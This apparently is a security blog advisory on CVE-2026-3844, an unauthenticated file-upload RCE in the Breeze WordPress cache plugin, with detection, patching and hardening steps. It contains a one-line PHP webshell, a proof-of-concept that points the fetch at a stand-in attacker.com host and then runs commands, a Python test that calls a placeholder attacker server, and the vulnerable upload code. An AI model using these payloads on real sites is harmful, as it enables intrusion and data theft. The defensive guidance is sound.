Vulnerability Analysis

CVE-2026-3844: WordPress Breeze Cache Plugin RCE — Unauthenticated File Upload Puts 400,000+ Sites at Risk

Executive Summary

CVE-2026-3844 is a critical unauthenticated arbitrary file upload vulnerability (CVSS 9.8) in the Cloudways Breeze Cache plugin for WordPress, affecting all versions up to and including 2.4.4. The flaw allows any unauthenticated attacker to upload a PHP webshell and achieve full remote code execution on the web server. With over 400,000 active installations, Wordfence has already blocked nearly 4,000 attacks per day targeting this vulnerability — site owners should update to Breeze 2.4.5 immediately.


1. What Is This Vulnerability?

Breeze is Cloudways' official WordPress caching plugin, designed to improve site performance by locally hosting assets such as Gravatar images. The vulnerability lives in the fetch_gravatar_from_remote function, which downloads Gravatar images from remote URLs and saves them to the web server's filesystem for local hosting.

The function contains no file-type validation: it does not verify that the remote content is actually an image, does not restrict the file extension of the saved file, and does not sanitize the attacker-influenced filename. This maps directly to CWE-434: Unrestricted Upload of File with Dangerous Type.

Attack Vector

Exploitation is straightforward:

  1. The attacker manipulates the Gravatar source URL (or the remote image fetch parameter) to point to an attacker-controlled server hosting a PHP webshell rather than a legitimate avatar image.
  2. fetch_gravatar_from_remote downloads the malicious file and writes it to the WordPress uploads directory with a .php extension — chosen by the attacker.
  3. The attacker sends an HTTP request directly to the uploaded webshell path, triggering arbitrary server-side code execution as the web server process user (typically www-data).

Because no authentication or nonce is required to trigger the gravatar fetch routine, any unauthenticated visitor can initiate this attack.

Proof-of-Concept Flow (Simplified)

# Step 1: Host a PHP webshell on attacker server
# shell.php content: <?php system($_GET['cmd']); ?>

# Step 2: Trigger the vulnerable fetch endpoint
POST /wp-admin/admin-ajax.php
action=breeze_fetch_gravatar&gravatar_url=https://attacker.com/shell.php

# Step 3: Access the uploaded webshell
GET /wp-content/uploads/breeze-cache/avatars/shell.php?cmd=id
# Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Real-World Impact

Active exploitation was first reported on April 23, 2026. Security researchers at Wordfence documented over 3,936 blocked attacks within a 24-hour window. Attackers have been observed uploading PHP webshells to establish persistent backdoors, exfiltrate wp-config.php database credentials, and inject spam SEO content into compromised sites. SecurityAffairs reports over 400,000 WordPress installations are potentially exposed.


2. Who Is Affected?

Component Affected Versions Fixed Version
Breeze Cache (Cloudways) All versions ≤ 2.4.4 2.4.5

Required condition: The "Host Files Locally – Gravatars" add-on must be enabled in Breeze settings. This feature is disabled by default, which limits the exposed population — but sites where a Cloudways admin has enabled it for performance reasons are fully vulnerable.

Sites are at higher risk if they:

  • Use Cloudways-managed WordPress hosting with the Breeze optimization guide followed
  • Have publicly accessible upload directories without PHP execution restrictions
  • Run WordPress in multi-site configurations (broader attack surface)

3. How to Detect It (Testing)

Manual Testing Steps

  1. Check plugin version: In the WordPress admin console, navigate to Plugins → Installed Plugins → Breeze. If the version shown is ≤ 2.4.4, the site is running vulnerable code.

  2. Check the Gravatar setting: Go to Breeze → Basic Settings → Misc Settings. Look for the "Host Files Locally – Gravatars" toggle. If enabled, the attack surface is active.

  3. Check for dropped webshells: Inspect the uploads directory for unexpected .php files:

    find /var/www/html/wp-content/uploads/ -name "*.php" -type f
    find /var/www/html/wp-content/uploads/ -name "*.phtml" -type f
    find /var/www/html/wp-content/uploads/ -name "*.php5" -type f
    

    Any .php file found in the uploads directory is a red flag and should be treated as a likely compromise.

  4. Review access logs for exploitation patterns:

    grep -i "breeze_fetch_gravatar\|fetch_gravatar" /var/log/apache2/access.log
    grep -i "breeze_fetch_gravatar\|fetch_gravatar" /var/log/nginx/access.log
    

    POST requests to admin-ajax.php with action=breeze_fetch_gravatar from external IPs are strong indicators of exploitation attempts.

Automated Scanning

WPScan (WordPress-specific vulnerability scanner):

wpscan --url https://target.example.com --plugins-detection aggressive \
  --api-token YOUR_API_TOKEN

Look for: [!] Breeze – WordPress Cache Plugin < 2.4.5 - Unauthenticated Arbitrary File Upload

Wordfence CLI (for self-hosted Wordfence users):

wp wordfence scan --type=files --output=table

Flags unexpected PHP files in upload directories.

Nuclei template (if available):

nuclei -u https://target.example.com -t cves/2026/CVE-2026-3844.yaml

Burp Suite:

  • Use the Active Scan module against the AJAX endpoint.
  • Manually craft a POST to wp-admin/admin-ajax.php with action=breeze_fetch_gravatar and a controlled gravatar_url parameter pointing to a non-image file; observe whether the file is saved.

Code Review Checklist

  • Confirm that file-type validation (MIME type check + extension allowlist) exists before any remote file is saved to disk
  • Verify that downloaded content is validated as a valid image (e.g., getimagesize() or wp_check_filetype_and_ext())
  • Confirm that saved filenames are generated server-side (e.g., UUID), not derived from user-controlled or remote input
  • Verify that the uploads directory has .htaccess or Nginx rules blocking PHP execution
  • Confirm that AJAX actions performing file writes require a valid nonce and user capability check

4. How to Fix It (Mitigation)

Step-by-Step Remediation

  1. Update Breeze to version 2.4.5 immediately.

    • From WP Admin: Plugins → Installed Plugins → Breeze → Update Now
    • From WP-CLI:
      wp plugin update breeze
      
    • Verify version after update:
      wp plugin get breeze --field=version
      # Should return: 2.4.5
      
  2. If immediate patching is not possible, disable the vulnerable feature: Go to Breeze → Basic Settings → Misc Settings and turn off "Host Files Locally – Gravatars". Save settings. This removes the attack surface without requiring a full update.

  3. Scan for and remove any dropped webshells:

    # Find and review unexpected PHP files in uploads
    find /var/www/html/wp-content/uploads/ -name "*.php" -newer /var/www/html/wp-config.php
    
    # Remove suspicious files (verify before deleting)
    rm -i /var/www/html/wp-content/uploads/suspicious-file.php
    
  4. Block PHP execution in the uploads directory as a defense-in-depth measure:

    Apache (add to wp-content/uploads/.htaccess):

    <FilesMatch "\.php$">
      Deny from all
    </FilesMatch>
    

    Nginx (add inside the server block):

    location ~* /wp-content/uploads/.*\.php$ {
        deny all;
        return 403;
    }
    
  5. Deploy or verify a Web Application Firewall (WAF) rule blocking requests to admin-ajax.php with action=breeze_fetch_gravatar from unauthenticated sources. Cloudflare, Sucuri, and Wordfence Premium all have signatures for this CVE.

Code Fix Example (Patched vs. Vulnerable Logic)

Vulnerable (≤ 2.4.4):

// No validation — saves whatever URL content is returned
function fetch_gravatar_from_remote( $gravatar_url, $filename ) {
    $response = wp_remote_get( $gravatar_url );
    $body     = wp_remote_retrieve_body( $response );
    file_put_contents( $this->gravatar_dir . $filename, $body );
}

Fixed (2.4.5):

function fetch_gravatar_from_remote( $gravatar_url, $filename ) {
    $response = wp_remote_get( $gravatar_url );
    $body     = wp_remote_retrieve_body( $response );

    // Generate a server-side filename, strip attacker-controlled extension
    $safe_filename = md5( $gravatar_url ) . '.jpg';

    // Validate that the content is actually an image
    $tmp = wp_tempnam();
    file_put_contents( $tmp, $body );
    $file_type = wp_check_filetype_and_ext( $tmp, $safe_filename );
    @unlink( $tmp );

    if ( empty( $file_type['type'] ) || strpos( $file_type['type'], 'image/' ) !== 0 ) {
        return false; // Reject non-image content
    }

    file_put_contents( $this->gravatar_dir . $safe_filename, $body );
}

Configuration Hardening

  • Enable Wordfence or Sucuri WAF with auto-update signatures.
  • Restrict the WordPress AJAX endpoint with rate-limiting (e.g., max 30 requests/minute per IP to admin-ajax.php).
  • Review and restrict file system permissions: wp-content/uploads should be writable by the web server but not executable.
  • Consider a Content Security Policy (CSP) header to limit impact of any future XSS-based follow-on attacks.

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Attempt to upload a PHP file via the vulnerable endpoint after patching — the request should fail silently or return an error, and no .php file should appear in the uploads directory.
  • Scenario B: Upload a legitimate JPEG Gravatar via the patched code path — the file should be saved correctly with a server-generated filename and .jpg extension.
  • Scenario C: Disable and re-enable the "Host Files Locally – Gravatars" feature — ensure normal Gravatar caching continues to function properly for valid image URLs.

Security Test Cases

Test Case 1: Verify the arbitrary file upload is blocked

  • Precondition: Breeze 2.4.5 installed; "Host Files Locally – Gravatars" enabled.
  • Steps: Send a POST request to wp-admin/admin-ajax.php with action=breeze_fetch_gravatar and a gravatar_url pointing to a PHP file hosted externally.
  • Expected Result: The endpoint returns a non-success response; no file is created in the uploads directory; server logs show the request was rejected.

Test Case 2: Confirm no executable files in uploads

  • Steps: After update, run:
    find /var/www/html/wp-content/uploads/ -name "*.php" -o -name "*.phtml"
    
  • Expected Result: Zero results returned.

Test Case 3: Confirm Gravatar caching still works

  • Steps: Create or update a WordPress comment with a valid Gravatar email. Check that the avatar image loads from the local cache path.
  • Expected Result: Valid image file (JPEG/PNG/GIF) created with a hash-based filename in the Breeze avatars directory.

Automated Tests

import requests

TARGET = "https://your-wordpress-site.com"
ATTACKER_PHP = "https://attacker-server.example.com/webshell.php"

def test_cve_2026_3844_blocked():
    resp = requests.post(
        f"{TARGET}/wp-admin/admin-ajax.php",
        data={
            "action": "breeze_fetch_gravatar",
            "gravatar_url": ATTACKER_PHP,
        },
        timeout=10
    )
    # After patching, no shell should be accessible
    shell_check = requests.get(
        f"{TARGET}/wp-content/uploads/breeze-cache/avatars/webshell.php",
        params={"cmd": "id"},
        timeout=5
    )
    assert shell_check.status_code == 404 or "www-data" not in shell_check.text, \
        "FAIL: CVE-2026-3844 is still exploitable — webshell responded!"
    print("PASS: Webshell not accessible after patch.")

test_cve_2026_3844_blocked()

6. Prevention & Hardening

Best Practices

  • Keep plugins updated automatically: Enable WordPress auto-updates for plugins in wp-config.php:

    add_filter( 'auto_update_plugin', '__return_true' );
    

    Or use WP-CLI in a daily cron job: wp plugin update --all.

  • Block PHP execution in all upload directories as a blanket policy (see .htaccess / Nginx config above). This single control would have neutralized CVE-2026-3844 entirely, even without patching.

  • Principle of least privilege for web processes: Run PHP-FPM under a dedicated low-privilege user. Ensure wp-content/uploads is not world-executable.

  • Inventory third-party plugins regularly: Use WPScan or Patchstack in CI/CD pipelines to catch newly disclosed plugin CVEs before they reach production. Any plugin with remote file fetch capabilities deserves extra scrutiny.

  • Segment WordPress environments: If running multiple WordPress sites, isolate each in its own container or VM so a compromise of one site cannot pivot to others.

Monitoring & Detection

Set up real-time alerts for the following indicators of compromise (IOCs):

  1. New .php files in uploads directories:

    # Inotify-based alert (Linux)
    inotifywait -m -r -e create /var/www/html/wp-content/uploads/ \
      --include '.*\.php$' | while read path action file; do
        echo "ALERT: PHP file created: $path$file" | mail -s "WordPress IOC Alert" security@yourdomain.com
    done
    
  2. WAF/Firewall rules: Block or alert on POST requests to admin-ajax.php with action=breeze_fetch_gravatar originating from non-admin IPs.

  3. SIEM correlation rule: Flag any HTTP 200 response from wp-content/uploads/*.php — legitimate upload directories should never serve PHP files.

  4. File integrity monitoring: Tools like Wordfence, Tripwire, or AIDE can baseline the WordPress filesystem and alert on unexpected changes.


References

Latest from the blog

See all →